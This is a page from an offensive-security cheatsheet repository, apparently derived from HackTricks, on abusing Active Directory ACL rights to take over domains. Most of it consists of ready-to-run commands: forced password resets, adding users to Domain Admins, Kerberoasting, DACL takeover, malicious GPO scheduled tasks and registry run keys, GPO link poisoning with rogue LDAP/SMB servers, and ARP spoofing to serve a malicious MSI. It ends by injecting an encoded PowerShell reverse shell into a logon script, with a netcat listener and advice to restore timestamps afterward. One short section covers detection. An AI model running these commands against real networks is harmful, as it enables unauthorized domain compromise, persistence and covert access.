daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (31021B)


      1 ---
      2 title: "Abusing Active Directory ACLs/ACEs"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Abusing Active Directory ACLs/ACEs
     14 
     15 **This page is mostly a summary of the techniques from** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **and** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. For more details, check the original articles.**<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>
     16 
     17 ## BadSuccessor
     18 
     19 
     20 [Badsuccessor](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/badsuccessor)
     21 
     22 ## **GenericAll Rights on User**
     23 
     24 This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can:
     25 
     26 - **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
     27 - From Linux, you can do the same over SAMR with Samba `net rpc`:<sup>[[9]](#references)[[10]](#references)</sup>
     28 
     29 ```bash
     30 # Reset target user's password over SAMR from Linux
     31 net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
     32 ```
     33 
     34 - **If the account is disabled, clear the UAC flag**: `GenericAll` allows editing `userAccountControl`. From Linux, BloodyAD can remove the `ACCOUNTDISABLE` flag:<sup>[[8]](#references)[[10]](#references)</sup>
     35 
     36 ```bash
     37 bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
     38 ```
     39 
     40 - **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
     41 
     42 ```bash
     43 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
     44 .\Rubeus.exe kerberoast /user:<username> /nowrap
     45 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
     46 ```
     47 
     48 - **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
     49 
     50 ```bash
     51 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
     52 ```
     53 
     54 - **Shadow Credentials / Key Credential Link**: With `GenericAll` on a user you can add a certificate-based credential and authenticate as them without changing their password. See:
     55 
     56 [Shadow Credentials](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials)
     57 
     58 ## **GenericAll Rights on Group**
     59 
     60 This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can:
     61 
     62 - **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit.
     63 
     64 ```bash
     65 net group "domain admins" spotless /add /domain
     66 Add-ADGroupMember -Identity "domain admins" -Members spotless
     67 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
     68 ```
     69 
     70 - From Linux you can also leverage BloodyAD to add yourself into arbitrary groups when you hold GenericAll/Write membership over them. If the target group is nested into “Remote Management Users”, you will immediately gain WinRM access on hosts honoring that group:<sup>[[8]](#references)</sup>
     71 
     72 ```bash
     73 # Linux tooling example (BloodyAD) to add yourself to a target group
     74 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
     75 
     76 # If the target group is member of "Remote Management Users", WinRM becomes available
     77 netexec winrm <dc-fqdn> -u <user> -p '<pass>'
     78 ```
     79 
     80 ## **GenericAll / GenericWrite / Write on Computer/User**
     81 
     82 Holding these privileges on a computer object or a user account allows for:
     83 
     84 - **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object.
     85 - **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.
     86 
     87 ## **WriteProperty on Group**
     88 
     89 If a user has `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), they can:
     90 
     91 - **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain.
     92 
     93 ```bash
     94 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
     95 ```
     96 
     97 ## **Self (Self-Membership) on Group**
     98 
     99 This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition:
    100 
    101 ```bash
    102 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
    103 ```
    104 
    105 ## **WriteProperty (Self-Membership)**
    106 
    107 A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with:
    108 
    109 ```bash
    110 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
    111 net group "domain admins" spotless /add /domain
    112 ```
    113 
    114 ## **ForceChangePassword**
    115 
    116 Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors.
    117 
    118 ```bash
    119 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
    120 Set-DomainUserPassword -Identity delegate -Verbose
    121 Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
    122 ```
    123 
    124 ```bash
    125 rpcclient -U KnownUsername 10.10.10.192
    126 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
    127 ```
    128 
    129 ## **WriteOwner on Group**
    130 
    131 If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name.
    132 
    133 ```bash
    134 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
    135 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
    136 Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
    137 ```
    138 
    139 ## **GenericWrite on User**
    140 
    141 This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script.
    142 
    143 ```bash
    144 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
    145 ```
    146 
    147 ## **GenericWrite on Group**
    148 
    149 With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands.
    150 
    151 ```bash
    152 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
    153 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
    154 Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
    155 Get-DomainGroupMember -Identity "Group Name" | Select MemberName
    156 Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
    157 ```
    158 
    159 - From Linux, Samba `net` can add/remove members when you hold `GenericWrite` on the group (useful when PowerShell/RSAT are unavailable):<sup>[[9]](#references)[[10]](#references)</sup>
    160 
    161 ```bash
    162 # Add yourself to the target group via SAMR
    163 net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
    164 # Verify current members
    165 net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
    166 ```
    167 
    168 ## **WriteDACL + WriteOwner**
    169 
    170 Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.<sup>[[4]](#references)[[7]](#references)</sup>
    171 
    172 ```bash
    173 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
    174 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
    175 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
    176 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
    177 $ADSI.psbase.commitchanges()
    178 ```
    179 
    180 ### WriteDACL/WriteOwner quick takeover (PowerView)
    181 
    182 When you have `WriteOwner` and `WriteDacl` over a user or service account, you can take full control and reset its password using PowerView without knowing the old password:
    183 
    184 ```powershell
    185 # Load PowerView
    186 . .\PowerView.ps1
    187 
    188 # Grant yourself full control over the target object (adds GenericAll in the DACL)
    189 Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
    190 
    191 # Set a new password for the target principal
    192 $cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
    193 Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
    194 ```
    195 
    196 Notes:
    197 - You may need to first change the owner to yourself if you only have `WriteOwner`:
    198 
    199 ```powershell
    200 Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
    201 ```
    202 
    203 - Validate access with any protocol (SMB/LDAP/RDP/WinRM) after password reset.
    204 
    205 ## **Replication on the Domain (DCSync)**
    206 
    207 The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller.<sup>[[5]](#references)</sup> [**Learn more about the DCSync attack here.**](/hacktricks/windows-hardening/active-directory-methodology/dcsync)
    208 
    209 ## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
    210 
    211 ### GPO Delegation
    212 
    213 Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`<sup>[[6]](#references)</sup>
    214 
    215 ### Enumerate GPO Permissions
    216 
    217 To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
    218 
    219 **Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
    220 
    221 **Policies Applied to a Given Computer**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
    222 
    223 **OUs with a Given Policy Applied**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
    224 
    225 You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
    226 
    227 ### Abuse GPO - New-GPOImmediateTask
    228 
    229 Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:
    230 
    231 ```bash
    232 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
    233 ```
    234 
    235 ### GroupPolicy module - Abuse GPO
    236 
    237 The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution:
    238 
    239 ```bash
    240 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
    241 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
    242 ```
    243 
    244 ### SharpGPOAbuse - Abuse GPO
    245 
    246 SharpGPOAbuse offers a method to abuse existing GPOs by adding tasks or modifying settings without the need to create new GPOs. This tool requires modification of existing GPOs or using RSAT tools to create new ones before applying changes:
    247 
    248 ```bash
    249 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
    250 ```
    251 
    252 ### Force Policy Update
    253 
    254 GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the `gpupdate /force` command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle.
    255 
    256 ### Under the Hood
    257 
    258 Upon inspection of the Scheduled Tasks for a given GPO, like the `Misconfigured Policy`, the addition of tasks such as `evilTask` can be confirmed. These tasks are created through scripts or command-line tools aiming to modify system behavior or escalate privileges.
    259 
    260 The structure of the task, as shown in the XML configuration file generated by `New-GPOImmediateTask`, outlines the specifics of the scheduled task - including the command to be executed and its triggers. This file represents how scheduled tasks are defined and managed within GPOs, providing a method for executing arbitrary commands or scripts as part of policy enforcement.
    261 
    262 ### Users and Groups
    263 
    264 GPOs also allow for the manipulation of user and group memberships on target systems. By editing the Users and Groups policy files directly, attackers can add users to privileged groups, such as the local `administrators` group. This is possible through the delegation of GPO management permissions, which permits the modification of policy files to include new users or change group memberships.
    265 
    266 The XML configuration file for Users and Groups outlines how these changes are implemented. By adding entries to this file, specific users can be granted elevated privileges across affected systems. This method offers a direct approach to privilege escalation through GPO manipulation.
    267 
    268 Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
    269 
    270 ### Redirecting GPC/GPT retrieval to authenticated rogue services
    271 
    272 A GPO consists of an LDAP **Group Policy Container (GPC)** with metadata and an SMB-hosted **Group Policy Template (GPT)** with the policy files. During refresh, the client follows the container's `gPLink`, reads the referenced GPC and its `gPCFileSysPath`, then downloads the GPT from that UNC path. Consequently, write access to either the GPC itself or the `gPLink` of an OU, Site or Domain can be converted into privileged policy processing.<sup>[[12]](#references)[[13]](#references)[[14]](#references)[[15]](#references)</sup>
    273 
    274 #### `gPCFileSysPath` poisoning with GPOddity
    275 
    276 If the controlled principal can write the target GPC (directly or through **NTLM relay to LDAP**), replace `gPCFileSysPath` with a UNC path hosted by the attacker. [GPOddity](https://github.com/synacktiv/GPOddity) automates the LDAP change and serves a malicious GPT containing module-based policy files or an Immediate Task that the Group Policy client executes as `NT AUTHORITY\SYSTEM`.<sup>[[12]](#references)[[15]](#references)[[16]](#references)</sup>
    277 
    278 An anonymous or credential-agnostic SMB share is not sufficient on current Windows clients: SMB Secure Negotiate requires proof that authentication succeeded, so the rogue service must validate the domain identity, derive the SMB session key and correctly sign its responses. In embedded mode, configure GPOddity with a controlled machine account and its service key, then select a computer- or user-side payload in the `[COMMANDS]` section.<sup>[[15]](#references)[[16]](#references)</sup>
    279 
    280 ```ini
    281 [SMB]
    282 smb-mode=embedded
    283 smb-machine=SCAPY$
    284 smb-ip=<attacker_ip>
    285 smb-nt=<machine_nt_hash>
    286 smb-share=gpoddity
    287 smb-iface=eth0
    288 ```
    289 
    290 ```bash
    291 python3 gpoddity.py --config config.ini -v
    292 ```
    293 
    294 **User GPO edge case:** after MS16-072, Windows still creates two SMB2 sessions in the **same TCP connection**: the user session reads `GPT.INI`, then the computer-account session reads effective configuration such as `ScheduledTasks.xml`. A rogue server must therefore index authentication state, session keys and signing keys by SMB2 `SessionId`, not only by socket. The Scapy fork embedded in GPOddity/OUned implements this through `SMBStreamSocketMultiplexing` and a multiplexing-aware `SMBServer`; single-session Impacket/Scapy servers otherwise reuse the wrong signing state and fail on user policies.<sup>[[15]](#references)</sup>
    295 
    296 #### `gPLink` poisoning with OUned
    297 
    298 With `WriteGPLink`, `GenericWrite` or equivalent control over an OU, Site or Domain, an attacker can append a link whose GPC DN is served by an attacker-controlled LDAP host. This primitive was originally presented by Petros Koutroumpis; [OUned](https://github.com/synacktiv/OUned) automates the LDAP write and the malicious GPC/GPT chain.<sup>[[13]](#references)[[14]](#references)[[17]](#references)</sup>
    299 
    300 ```text
    301 [LDAP://cn={7B7D6B23-26F8-4E4B-AF23-F9B9005167F6},cn=policies,cn=system,DC=attacker,DC=corp,DC=com;0]
    302 ```
    303 
    304 The victim first authenticates to the rogue LDAP service and receives a GPC whose `gPCFileSysPath` points to the rogue SMB service; it then authenticates to SMB and applies the supplied GPT. OUned therefore needs an account with an LDAP SPN, a machine account with a HOST SPN for SMB (the same machine account can satisfy both), and DNS resolution or reverse forwarding that sends ports 389 and 445 to the operator host.<sup>[[15]](#references)[[17]](#references)</sup>
    305 
    306 ```bash
    307 python3 OUned.py --config config.ini -v
    308 ```
    309 
    310 OUned's embedded Scapy LDAP server validates Kerberos/SPNEGO with the real controlled service key and serves arbitrary GPC data from JSON. The empty JSON key models rootDSE, `base64:` prefixes represent binary values, and the server supports add/delete/modify/search plus `BASE`, `LEVEL` and `SUBTREE` searches; it can negotiate no protection, integrity or confidentiality. This makes the service reusable when another Windows component follows an attacker-controlled LDAP reference but insists on authenticated LDAP.<sup>[[15]](#references)</sup>
    311 
    312 Do not assume that synchronizing an account password into a dummy domain reproduces every Kerberos key: RC4 derives from the password, whereas AES string-to-key also uses a salt derived from the principal's hostname/domain. Supplying the actual account AES key to `KerberosSSP` avoids forcing RC4 through a detectable change to the machine account's self-writable `msDS-SupportedEncryptionTypes`.<sup>[[15]](#references)</sup>
    313 
    314 #### Detection pivots
    315 
    316 Correlate changes to `gPCFileSysPath` or `gPLink` with GPO version changes and new Immediate/Scheduled Task XML. Investigate links to unexpected naming contexts, UNC hosts outside the approved DC/SYSVOL set, DNS records redirecting machine-account names, LDAP/CIFS service tickets for unusual machine accounts, and `msDS-SupportedEncryptionTypes` changes that enable RC4.<sup>[[15]](#references)</sup>
    317 
    318 ### WriteGPLink + UNC path hijacking (ARP spoofing)
    319 
    320 `WriteGPLink` over an OU/domain lets you modify the target container's `gPLink` attribute and **force an existing GPO to apply** without editing the GPO itself. This becomes interesting when the linked GPO already references remote content over **UNC paths** (`\\HOST\share\...`), because authenticated users can read **SYSVOL** and hunt for reusable policies offline.<sup>[[11]](#references)</sup>
    321 
    322 High-level workflow:
    323 
    324 1. Use BloodHound to identify a principal with `WriteGPLink` over an OU and enumerate computers/users inside that OU.
    325 2. Clone `SYSVOL` read-only and parse GPOs looking for **Software Installation**, **drive mappings** (`Drives.xml`), and **logon/startup scripts** that reference UNC paths.
    326 3. Prefer policies pointing to a **direct hostname** (for example `\\DC02\share\pkg.msi`) instead of DFS/domain-namespace paths, because hostname-based paths are easier to redirect with L2 spoofing.
    327 4. Append the chosen GPO GUID to the target OU's `gPLink` so the victim processes that already-existing policy.
    328 5. On the same broadcast domain, ARP spoof the UNC host and bind its IP locally (`ip addr add <target_ip>/32 dev <iface>`) so the victim's SMB traffic reaches your host.
    329 6. Serve the expected path/filename from an attacker SMB server (for example `smbserver.py`) and wait for normal policy processing.
    330 
    331 Example `SYSVOL` collection and GPO correlation:
    332 
    333 ```bash
    334 mkdir -p /mnt/$DOMAIN/SYSVOL/
    335 mount -t cifs -o username=$USER,password=$PASS,domain=$DOMAIN,ro "//$DC_IP/SYSVOL" "/mnt/$DOMAIN/SYSVOL/"
    336 rsync -av --exclude="PolicyDefinitions" --update /mnt/$DOMAIN/SYSVOL .
    337 python3 parse_sysvol.py software -s <SYSVOL> -b <BloodHound_Folder>
    338 python3 parse_sysvol.py drives -s <SYSVOL> -b <BloodHound_Folder>
    339 python3 parse_sysvol.py scripts -s <SYSVOL> -b <BloodHound_Folder>
    340 ```
    341 
    342 Link the existing GPO to the target OU:
    343 
    344 ```bash
    345 python3 link_gpo.py -u <user> -p '<pass>' -d <domain> -dc-ip <dc_ip> \
    346   --gpo-guid '{<gpo-guid>}' --target-ou "OU=<TargetOU>,DC=<domain>,DC=<tld>"
    347 ```
    348 
    349 #### Software Installation UNC hijack -> SYSTEM
    350 
    351 If the linked GPO deploys an MSI from a UNC path, the client will fetch it during **computer startup** and install it as **`NT AUTHORITY\SYSTEM`**. By spoofing the referenced host and serving a malicious MSI under the **same share/path/name**, you can turn `WriteGPLink` into SYSTEM code execution **without modifying SYSVOL**.
    352 
    353 Important constraints:
    354 
    355 - **Timing matters**: the new link is seen at policy refresh (commonly ~90 minutes), but **Software Installation** usually triggers on **reboot**.
    356 - Windows Installer commonly tracks the deployment using the package **`ProductCode`**. If the product is already installed, deployment may be skipped.
    357 - To avoid installer rejection, patch the rogue MSI so its **`ProductCode`** and **`PackageCode`** match the legitimate package expected by the GPO.
    358 - Old `.aas` advertisement files may remain in `SYSVOL`, so validate that the deployment still looks active before relying on it.
    359 
    360 ```bash
    361 ip addr add <unc_host_ip>/32 dev <iface>
    362 arpspoof-ng -i <iface> -t <victim1>,<victim2> -s <unc_host_ip>
    363 smbserver.py <share> ./payloads -smb2support --interface-address <unc_host_ip> -debug -ts
    364 ```
    365 
    366 #### Drive-map UNC hijack -> NTLM capture / WebDAV relay
    367 
    368 GPP drive mappings in `Drives.xml` cause users to authenticate to the configured UNC path during logon or reconnection. If you spoof the referenced host, you can capture **NetNTLMv2**. If SMB is deliberately made to fail, Windows may retry over **WebDAV**, sending **NTLM over HTTP**, which is far more flexible for relays to **LDAP(S)**, **AD CS**, or **SMB**.
    369 
    370 #### Logon/startup script UNC hijack
    371 
    372 The same pattern applies to UNC-hosted scripts discovered in `SYSVOL`:
    373 
    374 - **Logon scripts** usually execute in the **user** context.
    375 - **Startup scripts** usually execute in the **computer / SYSTEM** context.
    376 
    377 If the script path points to a spoofable hostname, redirect the UNC host and serve replacement script content from the expected location.
    378 
    379 ## SYSVOL/NETLOGON Logon Script Poisoning
    380 
    381 Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
    382 
    383 ### Locate logon scripts
    384 - Inspect user attributes for a configured logon script:
    385 
    386 ```powershell
    387 Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
    388 ```
    389 
    390 - Crawl domain shares to surface shortcuts or references to scripts:
    391 
    392 ```bash
    393 # NetExec spider (authenticated)
    394 netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
    395 ```
    396 
    397 - Parse `.lnk` files to resolve targets pointing into SYSVOL/NETLOGON (useful DFIR trick and for attackers without direct GPO access):
    398 
    399 ```bash
    400 # LnkParse3
    401 lnkparse login.vbs.lnk
    402 # Example target revealed:
    403 # C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
    404 ```
    405 
    406 - BloodHound displays the `logonScript` (scriptPath) attribute on user nodes when present.
    407 
    408 ### Validate write access (don’t trust share listings)
    409 Automated tooling may show SYSVOL/NETLOGON as read-only, but underlying NTFS ACLs can still allow writes. Always test:
    410 
    411 ```bash
    412 # Interactive write test
    413 smbclient \\<dc>\SYSVOL -U <user>%<pass>
    414 smb: \\> cd <domain>\scripts\
    415 smb: \\<domain>\scripts\\> put smallfile.txt login.vbs   # check size/time change
    416 ```
    417 
    418 If file size or mtime changes, you have write. Preserve originals before modifying.
    419 
    420 ### Poison a VBScript logon script for RCE
    421 Append a command that launches a PowerShell reverse shell (generate from revshells.com) and keep original logic to avoid breaking business function:
    422 
    423 ```text
    424 ' At top of login.vbs
    425 Set cmdshell = CreateObject("Wscript.Shell")
    426 cmdshell.run "powershell -e <BASE64_PAYLOAD>"
    427 
    428 ' Existing mappings remain
    429 MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
    430 MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
    431 ```
    432 
    433 Listen on your host and wait for the next interactive logon:
    434 
    435 ```bash
    436 rlwrap -cAr nc -lnvp 443
    437 ```
    438 
    439 Notes:
    440 - Execution happens under the logging user’s token (not SYSTEM). Scope is the GPO link (OU, site, domain) applying that script.
    441 - Clean up by restoring the original content/timestamps after use.
    442 
    443 
    444 ## References
    445 
    446 - [1] [Abusing Active Directory ACLs/ACEs](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
    447 - [2] [Privileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
    448 - [3] [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112)
    449 - [4] [ActiveDirectoryRights Enum - Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2)
    450 - [5] [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
    451 - [6] [Scanning for Active Directory Privileges & Privileged Accounts](https://adsecurity.org/?p=3658)
    452 - [7] [ActiveDirectoryAccessRule Constructor - Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
    453 - [8] [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
    454 - [9] [Samba – net rpc (group membership)](https://www.samba.org/)
    455 - [10] [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
    456 - [11] [TrustedSec - ARP Around and Find Out: Hijacking GPO UNC Paths for Code Execution and NTLM Relay](https://trustedsec.com/blog/arp-around-and-find-out-hijacking-gpo-unc-paths-for-code-execution-and-ntlm-relay)
    457 - [12] [GPOddity: exploiting Active Directory GPOs through NTLM relaying, and more](https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more)
    458 - [13] [OU having a laugh? - Petros Koutroumpis](https://labs.withsecure.com/publications/ou-having-a-laugh)
    459 - [14] [OUned.py: exploiting hidden Organizational Units ACL attack vectors in Active Directory](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory)
    460 - [15] [Simulating legitimate Active Directory services on the network: the case of GPO exploitation](https://synacktiv.com/en/publications/simulating-legitimate-active-directory-services-on-the-network-the-case-of-gpo.html)
    461 - [16] [Synacktiv GPOddity](https://github.com/synacktiv/GPOddity)
    462 - [17] [Synacktiv OUned](https://github.com/synacktiv/OUned)